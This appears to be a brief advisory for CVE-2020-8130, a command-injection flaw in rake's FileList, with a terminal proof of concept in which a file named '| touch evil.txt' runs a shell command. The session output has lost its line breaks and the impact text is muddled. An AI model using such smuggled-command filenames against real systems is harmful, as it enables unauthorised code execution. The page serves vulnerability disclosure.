fixed @ CVE-2020-8130

[mik-patient]

Descriptions

[Arbitrary Code Injection in rake] Affected versions of this project are vulnerable to Arbitrary Code Injection in Rake::FileList when supplying a filename that begins with the pipe character |.

PoC by Mik Patient

% ls -1 Gemfile Gemfile.lock poc_rake.rb vendor | touch evil.txt % bundle exec ruby poc_rake.rb ["poc_rake.rb", "Gemfile", "Gemfile.lock", "| touch evil.txt", "vendor"] poc_rake.rb:6:list.egrep(/something/) Error while processing 'vendor': Is a directory @ io_fillbuf - fd:7 vendor % ls -1 Gemfile Gemfile.lock evil.txt poc_rake.rb vendor | touch evil.txt

Supporting Refferences:

• https://hackerone.com/reports/651518

Impact

An attacker must deploy a file containing command names in the target environment, assuming that this attack is successful. If that would be a serious problem.